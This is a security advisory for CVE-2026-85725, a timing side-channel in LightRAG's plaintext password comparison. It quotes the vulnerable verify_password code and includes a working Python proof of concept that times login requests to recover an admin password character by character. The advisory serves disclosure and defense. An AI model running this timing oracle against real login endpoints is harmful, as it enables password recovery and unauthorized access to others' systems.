CVE-2026-85725

### Summary When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character. ### Details ```python # lightrag/api/passwords.py:13-26 def verify_password(plain_password: str, stored_password: str) -> bool: if stored_password.startswith("{bcrypt}"): ... return bcrypt.checkpw(...) # constant-time OK return stored_password == plain_password # NOT constant-time VULN # Python == short-circuits on first mismatched byte # Timing leaks: password length + individual characters ``` ### PoC ```python # Timing oracle: recover password char-by-char import httpx, time, string TARGET = "http://<TARGET>:9621/login" USER = "admin" def measure(pwd: str) -> float: t = time.perf_counter() httpx.post(TARGET, data={"username": USER, "password": pwd}) return time.perf_counter() - t known = "" for _ in range(32): best = max(string.printable, key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10))) known += best print(f"Recovered: {known}") ``` ### Impact Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.